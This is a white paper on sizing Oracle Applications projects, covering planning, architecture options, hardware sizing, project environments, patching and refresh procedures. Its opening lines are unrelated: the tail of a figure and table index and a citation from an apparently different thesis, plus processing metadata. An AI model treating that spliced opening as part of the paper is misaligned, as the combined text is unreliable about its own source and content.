Figure 19: Sharing on Twitter .................................................................................. 58
Figure 20: Sharing on Facebook ............................................................................... 58
Figure 21: The homepage of GastoPublicoBahiense.org in July 2010
Figure 22: SpendView showing the profile for the 'Salaries and Wages' budget item (Bahía Blanca)
Figure 23: Official budget information portal (Presidency of Uruguay)
Index of Tables
Table 1: Example classification and phases for a line of an expenditure budget .......... 31
Table 2: Result from MDX query (excerpt) ............................................................... 39
Table 3: Budget classifications as translated to questions ........................................ 50
Table 4: Budgets loaded into SpendView as of April 2016 ...................................... 67
Table 5: Columns and their mapping to budget dimensions ........................................ 68
http://doi.org/10.1145/320434.320440
Datawheel, Macro Connections / MIT Media Lab, & Deloitte. (2016). Data USA.
|
{"Source-Url": "http://dspace.mit.edu/bitstream/handle/1721.1/106058/964835790-MIT.pdf?sequence=1", "len_cl100k_base": 15289, "olmocr-version": "0.1.50", "pdf-total-pages": 77, "total-fallback-pages": 0, "total-input-tokens": 140354, "total-output-tokens": 19486, "length": "2e13", "weborganizer": {"__label__adult": 0.0009016990661621094, "__label__art_design": 0.005939483642578125, "__label__crime_law": 0.00183868408203125, "__label__education_jobs": 0.0270843505859375, "__label__entertainment": 0.0010929107666015625, "__label__fashion_beauty": 0.0005245208740234375, "__label__finance_business": 0.1597900390625, "__label__food_dining": 0.00109100341796875, "__label__games": 0.0013065338134765625, "__label__hardware": 0.0024394989013671875, "__label__health": 0.0009202957153320312, "__label__history": 0.0033206939697265625, "__label__home_hobbies": 0.0006341934204101562, "__label__industrial": 0.00218963623046875, "__label__literature": 0.0014495849609375, "__label__politics": 0.007732391357421875, "__label__religion": 0.00087738037109375, "__label__science_tech": 0.1585693359375, "__label__social_life": 0.000911235809326172, "__label__software": 0.1649169921875, "__label__software_dev": 0.45361328125, "__label__sports_fitness": 0.0004436969757080078, "__label__transportation": 0.001537322998046875, "__label__travel": 0.0008234977722167969}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 78937, 0.01989]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 78937, 0.32311]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 78937, 0.85691]], "google_gemma-3-12b-it_contains_pii": [[0, 755, false], [755, 755, null], [755, 2170, null], [2170, 2170, null], [2170, 2423, null], [2423, 2423, null], [2423, 2679, null], [2679, 2679, null], [2679, 2923, null], [2923, 2923, null], [2923, 4485, null], [4485, 5819, null], [5819, 10335, null], [10335, 10989, null], [10989, 11002, null], [11002, 12010, null], [12010, 14099, null], [14099, 15975, null], [15975, 16576, null], [16576, 16576, null], [16576, 16587, null], [16587, 18652, null], [18652, 19669, null], [19669, 20517, null], [20517, 21449, null], [21449, 22212, null], [22212, 23990, null], [23990, 24679, null], [24679, 26373, null], [26373, 28438, null], [28438, 30309, null], [30309, 30672, null], [30672, 30860, null], [30860, 31616, null], [31616, 31631, null], [31631, 33052, null], [33052, 34644, null], [34644, 36189, null], [36189, 37218, null], [37218, 38701, null], [38701, 40089, null], [40089, 41207, null], [41207, 41763, null], [41763, 42950, null], [42950, 44690, null], [44690, 45670, null], [45670, 45760, null], [45760, 46584, null], [46584, 47976, null], [47976, 48481, null], [48481, 50247, null], [50247, 51829, null], [51829, 52003, null], [52003, 52962, null], [52962, 53858, null], [53858, 55710, null], [55710, 56659, null], [56659, 57085, null], [57085, 57092, null], [57092, 58966, null], [58966, 59825, null], [59825, 61251, null], [61251, 61903, null], [61903, 62577, null], [62577, 64342, null], [64342, 65779, null], [65779, 67954, null], [67954, 69539, null], [69539, 70363, null], [70363, 70363, null], [70363, 70374, null], [70374, 71666, null], [71666, 74297, null], [74297, 74531, null], [74531, 75050, null], [75050, 77337, null], [77337, 78937, null]], "google_gemma-3-12b-it_is_public_document": [[0, 755, true], [755, 755, null], [755, 2170, null], [2170, 2170, null], [2170, 2423, null], [2423, 2423, null], [2423, 2679, null], [2679, 2679, null], [2679, 2923, null], [2923, 2923, null], [2923, 4485, null], [4485, 5819, null], [5819, 10335, null], [10335, 10989, null], [10989, 11002, null], [11002, 12010, null], [12010, 14099, null], [14099, 15975, null], [15975, 16576, null], [16576, 16576, null], [16576, 16587, null], [16587, 18652, null], [18652, 19669, null], [19669, 20517, null], [20517, 21449, null], [21449, 22212, null], [22212, 23990, null], [23990, 24679, null], [24679, 26373, null], [26373, 28438, null], [28438, 30309, null], [30309, 30672, null], [30672, 30860, null], [30860, 31616, null], [31616, 31631, null], [31631, 33052, null], [33052, 34644, null], [34644, 36189, null], [36189, 37218, null], [37218, 38701, null], [38701, 40089, null], [40089, 41207, null], [41207, 41763, null], [41763, 42950, null], [42950, 44690, null], [44690, 45670, null], [45670, 45760, null], [45760, 46584, null], [46584, 47976, null], [47976, 48481, null], [48481, 50247, null], [50247, 51829, null], [51829, 52003, null], [52003, 52962, null], [52962, 53858, null], [53858, 55710, null], [55710, 56659, null], [56659, 57085, null], [57085, 57092, null], [57092, 58966, null], [58966, 59825, null], [59825, 61251, null], [61251, 61903, null], [61903, 62577, null], [62577, 64342, null], [64342, 65779, null], [65779, 67954, null], [67954, 69539, null], [69539, 70363, null], [70363, 70363, null], [70363, 70374, null], [70374, 71666, null], [71666, 74297, null], [74297, 74531, null], [74531, 75050, null], [75050, 77337, null], [77337, 78937, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 78937, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 78937, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 78937, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 78937, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 78937, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 78937, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 78937, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 78937, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 78937, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 78937, null]], "pdf_page_numbers": [[0, 755, 1], [755, 755, 2], [755, 2170, 3], [2170, 2170, 4], [2170, 2423, 5], [2423, 2423, 6], [2423, 2679, 7], [2679, 2679, 8], [2679, 2923, 9], [2923, 2923, 10], [2923, 4485, 11], [4485, 5819, 12], [5819, 10335, 13], [10335, 10989, 14], [10989, 11002, 15], [11002, 12010, 16], [12010, 14099, 17], [14099, 15975, 18], [15975, 16576, 19], [16576, 16576, 20], [16576, 16587, 21], [16587, 18652, 22], [18652, 19669, 23], [19669, 20517, 24], [20517, 21449, 25], [21449, 22212, 26], [22212, 23990, 27], [23990, 24679, 28], [24679, 26373, 29], [26373, 28438, 30], [28438, 30309, 31], [30309, 30672, 32], [30672, 30860, 33], [30860, 31616, 34], [31616, 31631, 35], [31631, 33052, 36], [33052, 34644, 37], [34644, 36189, 38], [36189, 37218, 39], [37218, 38701, 40], [38701, 40089, 41], [40089, 41207, 42], [41207, 41763, 43], [41763, 42950, 44], [42950, 44690, 45], [44690, 45670, 46], [45670, 45760, 47], [45760, 46584, 48], [46584, 47976, 49], [47976, 48481, 50], [48481, 50247, 51], [50247, 51829, 52], [51829, 52003, 53], [52003, 52962, 54], [52962, 53858, 55], [53858, 55710, 56], [55710, 56659, 57], [56659, 57085, 58], [57085, 57092, 59], [57092, 58966, 60], [58966, 59825, 61], [59825, 61251, 62], [61251, 61903, 63], [61903, 62577, 64], [62577, 64342, 65], [64342, 65779, 66], [65779, 67954, 67], [67954, 69539, 68], [69539, 70363, 69], [70363, 70363, 70], [70363, 70374, 71], [70374, 71666, 72], [71666, 74297, 73], [74297, 74531, 74], [74531, 75050, 75], [75050, 77337, 76], [77337, 78937, 77]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 78937, 0.1438]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
d254c51c7cec9b60ae9f105aa5bb6df21e047f8a
|
Sizing Oracle Applications Projects, A Technical Perspective*
Andrew Rivenes
*Lawrence Livermore National Laboratory
DISCLAIMER
This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation, or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes.
Abstract
This paper will review the issues involved in sizing an Oracle Applications project. The topics will include initial machine sizing, the different environments required, refresh procedures, and final system sizing. Installation and patching requirements will be addressed along with a methodology for handling long term capacity planning.
Overview
The purpose of this paper is to address the issues of sizing an Oracle Applications project and highlight the issues involved from a technical perspective. As an Oracle Applications DBA I have assisted with numerous Oracle Applications project implementations and invariably technical architecture issues surface that cause frustrations or delays the project. If more technical architecture planning was done at the beginning of a project many of these problems could be avoided or dealt with in a more efficient manner.
For this paper, sizing an Oracle Applications project is defined as providing the appropriate Oracle Applications systems (e.g. a development system, a test system, a mapping system, etc.) to support the project and identifying the resources required to create a production system. In practice this analysis can be a very complex undertaking. Projects are frequently started with specific funding and even specific hardware environments pre-defined. However, this is typically done before a thorough understanding of the final system has been made or even before the project has been formally created and staffed. One of the principal goals of this paper is to show that these decisions must be made as part of the project. In fact, the project plan must be geared to identifying the needed resources throughout each of the project phases and incorporating these "unknowns" into the project timeline. The final production system hardware specifications should be determined as a result of the project's technical architecture findings.
After all, how can an organization identify and purchase a system's hardware before knowing the system's requirements? Will the system have enough memory and disk space? Will the disk space support the I/O call rates required by the application? What are the I/O call rates? Will hardware redundancy be required? What about CPU requirements? One of the goals of the project must be to define these requirements so that the final production system can support the intended service level of the application. This extremely complex task is most often underestimated by the initial project planners. Many projects allocate insufficient resources to define these
* This work was performed under the auspices of the U.S. Department of Energy by Lawrence Livermore National Laboratory under Contract W-7405-Eng-48.
specifications, and yet this is one of the most common reasons that clients are disappointed with the results of their Oracle Applications projects.
Why is sizing so hard? Invariably someone asks the question, "With all of the Oracle Applications systems that have been implemented why is it so hard to size my system?" The basic answer boils down to the fact that Oracle Applications is a complex system that provides great flexibility. No two installations are ever quite the same. Business practices such as how the charts of accounts is defined or allowing the reuse of account codes can have a dramatic impact on the performance of the system.
The ultimate technical goal of an Oracle Applications system implementation is to create a production system that meets performance, growth, and system availability requirements. In order to accomplish this goal, information about the system implementation must be gathered, analyzed, and tested. During this process the technical staff must also support the needs of the rest of the project team by creating and maintaining environments to perform analysis, design, build, test, and training.
The challenge to the project manager is to build all of these requirements into the project plan in order to avoid surprises and the need to "go back to the well" to ask for more hardware, time, or resources.
Project Planning
When sizing an Oracle Applications project, organizations must consider more than the hardware sizing. They must also consider the number of technical staff, the timing of the technical support for each project phase, and sufficient lead time for hardware procurements, installations, benchmarking, stress testing, and technical architecture design (e.g. backups, recovery, operational support, printing, etc.). There also must be enough time allocated between the time the production sizing requirements are identified and the purchase, installation, and software setups are completed.
In general I have found that not enough resources are dedicated to the technical staff and that it is assumed that the DBA tasks are generic to any install. While some of the DBA tasks are generic to any Oracle Applications project there is a lost opportunity for insuring project success if resources and tasks are not defined for a Technical Architecture study. This activity should also include a production system sizing and stress testing study. It is imperative to understand the need to differentiate the environment setups required to support the project versus the effort required to size the production system. Very often, unless the project is very large or the project managers very experienced, the Technical Architecture tasks are not resourced adequately to perform such an analysis. The actual production system sizing essentially requires a project within a project.
Often, project managers treat production system sizing as merely another step in the Technical Architecture tasks requiring the calculation of disk space, CPU cycles, and memory usage based on generic sizing spreadsheets. Issues related to workload characterization\(^1\) and the system’s ability to meet peak workload demands are not considered, and no modeling or predictions are ever made. There is a tendency to expect that the DBA will install the system and then go away until needed again, and that the functional team will require all of the project’s resources.
Once the analysis phase is complete and the design and build phases begin there should be enough information available to start the design of the production system. Business volumes, client volumes, and expected usage should be known, and service level requirements should be defined. Based on this information an analysis of the production system’s specifications can begin. A key decision will need to be made as to the confidence level\(^1\) of the final result. Since the primary goal of this analysis is to determine the production system architecture (e.g. define the production system hardware and capacity) how much effort and expense is actually invested must be determined based on the preciseness\(^1\) required of the result. This issue must be addressed at project inception rather than after the fact. In order to perform an adequate Technical Architecture study, sufficient time and resources must be made available. It also does little good to perform the study if the production hardware decisions have already been made. There have been many good papers and books written on sizing and capacity planning. The best advice is to plan on adding a specialist to help setup or advise on the creation of the study and definition of the tasks.
\(^1\) These terms are taken directly from "Predicting Computing System Capacity and Throughput", see Sources.
The risk for not properly sizing a system is that the system will fail to perform or there won't be enough capacity to support the workload. The old adage that "we can just throw hardware at the problem" can work fine for small to medium sized systems. For larger systems there may not be hardware big or affordable enough to buy more capacity. And it may not just be a question of adding more hardware that "masks" a performance problem. There may be fundamental architecture problems with the design, and unless a sizing study is performed these defects may not get detected.
**Technical Resource Requirements**
When building the project plan it is important to consider the resources required to install and setup each of the Oracle Applications environments required for the project. Factors to consider are the time required to perform machine setup, the installation of the Oracle Applications software, the installation and configuration of the client software (including application server(s), NCA or SmartClient), patch application, and operational configuration (e.g. setup of backups, support for start/stop/monitoring, printer setups, help desk functions, etc.) The time required should not be underestimated, especially if the site is new to Oracle and/or Oracle Applications. The technical expertise and availability of the project staff must also be considered.
**Environment Setup Issues**
If the site is new to Oracle and/or Oracle Applications then the hardware and support infrastructure may not exist to support the project or the final system. The project plan must factor these issues into the timeline even if the actual responsibility is out of the project scope.
**Technical Expertise**
Organizations and project managers must consider the technical expertise of the project staff. Oracle Applications is a complex system, both from the functional as well as the technical perspective. With the addition of SmartClient and now NCA, Oracle Applications has grown increasingly complex with the need for expertise in networking, printing, web servers/browsers, desktop workstations, DBA skills and Oracle Applications system administration. Release 11 does not alleviate this problem as it now requires the use of the NCA technology stack.
A typical new Oracle Applications Release 10.7 NCA installation may take an experienced installer one to two weeks, but a new installer can take much longer. Depending on the product mix and environment additional time may be required to apply application patches, configure system administration options, and support general operational issues.
Technical expertise will also have a great impact on the quality of the overall technical architecture and the required supporting documentation. Understanding the architecture required to support the service level, system availability, recoverability and then being able to communicate this information is a valuable skill set that takes experienced individuals.
**Project Technical Architecture**
The components of a project's technical architecture should be designed to provide the documentation and specifications required to deliver the final production system. It is this process that must address all of the technical issues required for a successful implementation. The following technical architecture tasks are typical of many implementations:
- Define scope and objectives
- Prepare an architecture strategy
- Establish requirements
- Develop a conceptual model
- Conduct an architectural baseline
- Define system availability requirements
- Define any future application requirements
• Develop a reporting strategy
• Refine the conceptual architecture
• Define architecture subsystems
• Propose architecture subprojects
• Design application security architecture
• Design application functional architecture
• Design logical application and database architecture
• Design physical database architecture
• Design hardware and network architecture
• Develop system capacity plan
• Assess performance risks
• Design system management procedures
Depending on the size and complexity of the project these tasks can be major undertakings. The technical architecture steps should be tailored to meet the requirements of the project and should be considered at the time of project planning. For instance, if the system will require high availability then this will be a critical factor in the design of the system (e.g. RAID, hardware redundancy, backup and recoverability, etc.). It is also important to consider the timing involved when planning for the production sizing study so that the acquisition of the production hardware, based on the results of the study, won't delay the project.
**Oracle Applications Architecture**
**Architecture**
In addition to hardware sizing there are Oracle Applications architectural issues that must also be considered as part of the overall sizing of an Oracle Applications system. The following lists the key architecture options available:
**Oracle Server vs. Oracle Parallel Server**
For very large installations where one database server is not big enough to handle the expected workload the Oracle Parallel Server option may be appropriate. There are performance considerations that should be evaluated before choosing to implement the Parallel Server option, but Oracle Applications is supported with the Oracle Parallel Server option.
**Monolithic vs. Client/Server Architecture**
The Oracle Applications database and the Oracle Applications product files/concurrent manager processes can run on the same machine or can be separated onto two or more nodes. Character mode users can also run in a single machine environment, or can be separated to one or more additional nodes.
**Parallel Concurrent Processing**
Parallel concurrent processing is a further expansion on the concept of the above client/server architecture. Parallel concurrent processing spreads concurrent managers across multiple nodes in a network system. This architecture distributes the processing load and provides fault tolerance in case one or more nodes fail.
**Server Partitioned Mode**
Server partitioned mode is a special configuration wherein different Oracle Server versions are used for linking the Oracle Applications executables and for running the database server. This is supported in both monolithic and client/server environments (see previous description). For example, this mode is how Oracle8 support was implemented for Release 10.7.
**Client Access Options**
Character Mode Forms
A SQL*Forms 2.3/2.4 character based interface. This has been the traditional interface for Oracle Applications, but is only supported through Release 10.7 and not on Windows NT at all. This is a fairly lightweight front end that does not require much network or computing resources.
SmartClient
SmartClient was Oracle Applications’ first attempt at a GUI interface. The SmartClient architecture places user interface-oriented application processing on the client, and data-intensive application processing on the server. SmartClient was deployed as a Microsoft Windows application (e.g. 16-bit) and is supported through Release 10.7.
NCA
The application partitioning that is fundamental to the SmartClient architecture is extended to enable Oracle Applications with the Network Computing Architecture. In NCA, the database server partition remains essentially unchanged, and the user interface logic and the presentation layer are separated. User interface logic moves off the desktop and onto a middle tier of application servers, which can scale to accommodate increases in user load. Presentation management is handled by software downloaded to Java-enabled desktops. NCA is first supported in Release 10.7 and is the only option supported for Release 11.
Oracle Self-Service Web Applications
Oracle Self-Service Web Applications provide a lightweight (e.g. web browser) interface into selected Oracle Applications. Oracle Self-Service Web Applications use the Oracle Web Application Server and the PL/SQL cartridge to generate dynamic html pages, with data retrieved from database. It leverages JavaScript for some client-side processing to supplement the PL/SQL code running in the database. Some standard batch interface programs from Oracle Applications are used for processing transactions originated from these web applications. In addition, these applications access an active data dictionary, the Web Application Dictionary, containing information on the display elements and display formatting for the dynamically generated html pages.
Setup Options
Commercial vs. Government (Public Sector for Release 11)
Commercial or Government versions of the Oracle Applications products are available.
Multiple Organizations
Multiple Organization Architecture - Multiple Organization Architecture is a simpler way of implementing multiple sets of books. There is only one installation of each product, and the data contained in the product schemas is partitioned by organization, and hence by set of books.
Multiple Reporting Currencies
New for Release 11, Multiple Reporting Currencies allows the use of more than one functional currency. Implemented through separate sets of books, this feature allows transactional level accounting records to be reported and maintained in multiple functional currencies.
Globalizations
A Globalization is a functional enhancement to the base product, developed by an Oracle subsidiary or the International Applications Group, to meet a mandatory requirement for a country.
Localizations
Oracle Applications includes localizations, which are extensions consisting of additional forms, reports, or database objects. The localizations provide the functionality needed to meet the unique business needs of a region, whether one country or a group of countries. In Release 10.7, many localizations are incorporated into the core Oracle Applications products. You have the option to install the remaining localizations when you run AutoInstall.
Multilingual Support
Multilingual Support (MLS) is an Oracle Consulting Services solution for providing multi-lingual capabilities within Oracle Applications. It is available for Oracle Applications Release 10.6.1 character mode and above, and a standard solution is available for Release 11.
Release 11 Specifics
- Oracle8 is the only supported Oracle Server database version.
- NCA is the only option for client access and there is no support for character mode forms or SmartClient.
- Oracle Reports moves to the Oracle Reports Web Server, although the current character based reports remain.
Architecture Diagram
The following Oracle Applications architecture diagram attempts to show the technical architecture options available and the complexity involved.
Figure 1: Oracle Applications Architecture
Hardware Sizing
Hardware sizing is really a two phased effort. Initially, the project environments must be created and supportable (e.g. managing growth, refreshes, patching, backups, and availability). Once this set-up is accomplished the technical staff must then focus on studying the production system requirements. This study must not only take into account the size of the production system, but also all of the support systems needed to keep the production system running. There are many factors that play into hardware sizing. However the sizing of the production system is a much more involved process than the sizing of the support and project only systems. The risk factor in a non-performing support system is much lower than in the final production system. In fact, the sizing of the support and project systems is essentially an exercise in memory and disk space calculations. These systems though, can provide additional insight into the sizing of the production system hardware.
Many companies have a vendor preference when deciding on the hardware for an Oracle Applications system (e.g. vendor, OS, machine types). In general, as long as the vendor is supported by Oracle, the actual brand is not a great concern. The architecture however can come into play, especially when considering UNIX vs. NT. It is important to consider the limitations imposed by an architecture when trying to devise a hardware layout. NT for instance does not currently support multiple APPL_TOP directories, making it impossible to use one machine for two systems (e.g. test and development environments on the same machine). NT also doesn’t support character mode forms which could be a consideration for Release 10.7 customers.
Also, it is generally unwise to try and manage multiple vendor hardware (e.g. the support systems on HP while the production system is targeted for Sun). Although Oracle may be supported on multiple platforms there are issues such as port specific bugs, system behavior, being able to physically copy databases between platforms for environment refreshes (Oracle doesn’t support the physical copy of a database across different hardware platforms), licensing, and Oracle Support issues. This is mainly an issue for the database tier and it is not as critical that the application tier be the same platform as the database tier unless they will co-exist on the same physical hardware.
For the production system, most of the technical issues like how many CPUs, how much memory, how many disk controllers, and RAID vs. individual disks should be left to be determined by the production system sizing study and the project's requirements.
Initial Sizing (Project Environments)
Once a hardware vendor is selected then the Oracle supplied sizing spreadsheets and installation manuals can be used to determine disk and memory requirements for the initial support systems. There are rough CPU requirements available, usually as TPC specifications, that can be used for initial CPU sizing. Depending on the size and flexibility of the project, the experience of the project personnel, the budget available, and the hardware vendor's support, a suitable demonstration/development environment(s) can be obtained with a minimum of effort. Even at this initial level, an understanding of the project scope and client environment is important. A pre-project sizing analysis for the project environments, taking into consideration initial volumes, service level requirements, recoverability, and client training is the safest way to handle the initial hardware acquisition. Since this effort may have a very low degree of precision leasing of hardware and/or obtaining expandable systems should be strongly considered.
Final System Sizing (Production Environment)
The sizing of the production system should be done based on defined metrics in order to ensure that the actual system will meet the service level requirements defined by the Technical Architecture tasks. Therefore, the initial conceptual architecture, defined business volumes, and workload characteristics should be used as input to a system sizing/capacity planning study. The detail of this study should be determined based on the precision of the required result and the risk that can be tolerated if the study is wrong. There should be well defined goals created with specific deliverables identified. The study should incorporate the project's goals and should address each component defined in the conceptual architecture. Again, this is a task that is complex and important enough to warrant the advise and guidance of an expert. Even if it is only for a one day session to validate the study and its methodology, an expert should brought in to review the proposed study and perhaps the results.
For an Oracle Applications production system the following architectural areas should be targeted:
- **Database server**
- Size for peak load (CPU, memory, I/O call rates)
- Do architectural decisions penalize performance? (e.g. RAID 5 for redundancy may impose an excessive write penalty consider RAID 0+1)
- Workload - do long running concurrent manager processes on the database server saturate the system? (e.g. May need to consider moving the concurrent managers to one or more separate nodes)
- Is there sufficient disk capacity to support the storage requirements
- Can the backup system meet the backup and recoverability requirements
- **Oracle Application Server - Concurrent processing**
- Peak load (CPU, memory, I/O call rates, network utilization - if separate from the database server)
- If character mode users, their peak workload
- **Printing, especially the increased network capacity required for bitmap printing**
- **NCA Application server**
- Web Server load, fail over
- DNS service rate
- Peak users per server capacity
- Code management for multiple servers, network impact on dedicated vs. shared file systems
- Metric server load balancing for multiple forms servers
- **Client setup & management**
- Code distribution (SmartClient - dedicated, OCSM, file server, for shared files must consider network bandwidth)
- Sizing (CPU and memory)
- **Network sizing (bandwidth and latency)**
- Application server(s) to database server (NCA)
- Clients to application server (NCA)
- SmartClient - effect of latency on round trips, bandwidth of concurrent users
### Project Environments
One of the key areas of sizing an Oracle Applications project is to understand the environments needed to implement a production system. A single Oracle Applications production system will generally require the installation and support of multiple Oracle Applications environments. These multiple environments are then used to support setups, development, test, conversions, training, system sizing, and pre-production/quality assurance functions.
An individual Oracle Applications environment is made up of three basic components. The first is the database server, which supports the database objects that comprise the data and server side logic portion of Oracle Applications. The second component is the Oracle Applications product files (formerly identified by Oracle as the Applications Server). These files support the installation and maintenance of the applications, the use of the character mode forms, the execution of the concurrent manager processes, and the Oracle Reports, SQL scripts, and other programs and utilities that are run by the concurrent manager processes. In Release 11 Oracle has combined both of these components into a "database tier" and refers to this tier as the database server. The third component consists of the user interface products of which there are currently three. There is the character mode access that supports through a SQL*Forms 2.3/2.4 interface (Note that the character mode forms can reside with, or be separate from, the Oracle Applications product files, but are not supported on NT). There are two GUI access methods, the SmartClient product which runs in Microsoft Windows and the NCA product which runs through an internet browser connecting to an application server. In NCA, the application server now refers to the "application tier" which consists of the Web Application Server, Forms Server and optional Metrics Server. The desktop browser and Java client applet form the "client tier".
Multiple environments are defined as separate database and product file installations (e.g. database server) for each Oracle Applications system. These environments can be created on one or more machines except on NT as
mentioned above. Separate Oracle Applications environments will usually be set up for development, testing, training, and production. In addition, a standalone database may be required for a Designer/2000 repository to support custom development. These environments may also be required beyond the initial project for ongoing patch testing and customization support. These environments will require coordination and management. Some of them will require periodic “refreshes” from backups or another Oracle Applications system, and all will require patch application management.
Depending on how patches are managed, one or more client "environments" will be required for access to the multiple Oracle Applications environments. Because SmartClient and NCA patches are applied to the database server (e.g. the Oracle Applications product files and Oracle database) and the client software (e.g. SmartClient code or NCA application server), these environments must be synchronized. For this reason, one or more client environments will have to exist simultaneously.
Generally a project will start with the creation of a "Demo" environment. Oracle has created several versions of demonstration environments called Demonstration Product Groups. These demo environments contain all installed products set up with simulated company information to allow customers to see how the Oracle Applications work without requiring actual setup. Once the project is defined and the functional teams begin analysis, a "development" environment is required so that a chart of accounts can be defined and setup information can be started.
Since some setup steps can only be performed once, often times the creation of the development environment and the setup information is an iterative process. This is where, the "virtual" database, comes into play. The creation of an Oracle Applications environment is a time consuming process. A database must be created and prepped, the Oracle Applications software must be loaded and the installation process run, and server patches and client software installed. By taking full database and product file backups at designated times in the project, the installation, setups, and initial data loading can be preserved. This backup allows for an iterative process that is more efficient than a re-installation. This process can be carried forward throughout the project. The "virtual" database may move forward after each phase of the project to encompass initial installation, setup information, initial data loading, customizations, etc. until a point is reached where the "virtual" database will be frozen and used for the final production system setup. This will be further addressed in a later section.
In addition to the demonstration and development environments, an environment for testing customizations and data loading may also be needed. Other environments needed during the project might include a training and sizing study environment, or an environment just to map setup information. The following provides some typical environments and descriptions:
**Demonstration Environment**
- **Purpose:** One of Oracle's demonstration product group environments. Applications training, initial analysis.
- **Features:** Periodic backups not required.
**Development Environment**
- **Purpose:** Customization, conversion, interface development
- **Features:** Backups needed, unstable, patched when necessary
**Test/Conversion Environment**
- **Purpose:** Customization, conversion, interface, user, and new patch testing
- **Features:** Backups needed, initial patch testing, unstable
**Mapping Environment**
- **Purpose:** Hold setup information, used for refreshes, virtual database snapshots.
- **Features:** Multiple backup versions.
**System Sizing Environment**
- **Purpose:** Used for the system sizing study.
Features: Backups not required.
**Training Environment**
Purpose: On-going internal system application training
Features: Refreshed periodically from a frozen backup, highly stable, patched only when bugs prevent training (requires a new frozen backup), regular backups not required.
**Production Environment**
Purpose: Production environment
Features: Highly stable, backup/archiving required, patched only after patch acceptance on test/development systems
**Designer Repository Environment**
Purpose: Custom development Designer/2000 repository.
Features: Highly stable, individual user database accounts, backups required
The following diagram illustrates the environments that may be required and the overlapping nature of their co-existence.

* Virtual timeline tick marks show multiple version progression
Figure 2: Project Environment Timeline
**Patching Issues**
Oracle Applications requires many patches to be installed in order to function properly. During the course of any project this patching will consume a considerable amount of time and, if not managed properly, can increase the risk of project delays due to lost time in testing environments that haven’t been patched as expected.
There are two types of patches, bug patches and release updates. Both usually have a client component (e.g. SmartClient or NCA patch) and a server component (e.g. Oracle Applications product files and database). Patches are supplied with the initial Oracle Applications product shipment and are obtained from Oracle’s World Wide Customer Support (WWS) organization through email, ftp, or mail (e.g. tape or CD) based on a TAR request or proactive product level patches. Server patches are installed using the Oracle Applications AutoPatch Utility (e.g.
patch), and client patches are installed either with a special Oracle Applications SmartClient utility called “otto.exe”, or for NCA with the adpatch utility. This section will outline the administrative issues of creating and maintaining an Oracle Applications patching methodology.
**Patch Architecture**
Bug level patches typically affect a single Oracle Applications product. Major product level patches generally affect an entire Oracle Applications product group. An example of a bug level patch might be one that fixes an error in an Oracle Payables form, whereas a major product level patch would include the SmartClient server updates patch, the NCA server update, or the Required Technology Update.
Patches are typically distributed in a compressed format which varies by platform. In a UNIX environment patches are usually distributed as compressed tar files and in the Windows environment they are usually distributed as self-extracting executables. Most NCA patch files are being distributed as zip files.
**Patch Testing**
Once a patch has been identified and obtained from Oracle WWS it will need to be installed and tested in a suitable “test” environment. After the patch has been installed and tested, it can then be installed into the production environment. Testing should identify that the patch fixes the problem at hand and that it does not introduce any obvious “side effects”. Also, most Oracle patches are not "reversible". If a patch is applied that causes more harm than good, then either a restore from backup will be required, or a new patch to fix the "bad" patch will have to be obtained from WWS. For this reason, make sure that good backups exist before patches are applied.
**Record Keeping**
A record should be kept of the patch’s status as it is applied to each environment. Ideally this record will identify the TAR associated with the patch, the dates and environments it has been applied to, and the testing status. Avoid relying on the Oracle Applications product file directory and the install logs, as this is a difficult and error prone method of record keeping.
**Installation Coordination**
The installation of patches must be coordinated with all users of the system. This coordination is needed to avoid unexpected outages for the project team and to allow the technical staff the time to apply the patches. In order to install an Oracle Applications bug level patch, the concurrent manager processes must be shut down. This allows for possible relinking of Oracle Applications product files executables. To install an Oracle Applications major product level patch all users must be logged off the system and the concurrent manager processes must be shut down. Since any Oracle Applications project will require the installation of many patches, patch time must be built into the project plan.
For projects that implement the SmartClient or NCA architectures some of these patches will contain both a client component (e.g. SmartClient or NCA patch) and a server component (e.g. Oracle Applications product files and database). These two components are dependent upon each other and their application must be coordinated in order to avoid client side errors. In addition, multiple client installations (e.g. \apps10 or \appsnca directories) may need to be maintained for each Oracle Applications system in order to allow testing and application of new patches that affect only one, or a few, applications. This can allow unaffected project teams to access the system without interruptions.
**Refresh Procedures**
Refresh procedures will vary depending on environment and requirements. For full copies from production or synchronization between support systems, a database copy can be taken. In order to support this the source and target machines, they may be the same or different, must have the same basic architecture (e.g. operating system, Oracle version, disk space, etc.). This is another reason for requiring that, at the very least, all database server hardware be from the same vendor and of similar architecture.
If partial copies of data are required, an extract procedure should be created to allow creation of an environment with a subset of the source system's data. Typically a backup copy of the system with setup data and no transactional data is best used as the initial target. This is another argument for periodic backups at different phases of system setup (e.g. the virtual database). Then export/import or data loads through standard API's can be used to populate test data.
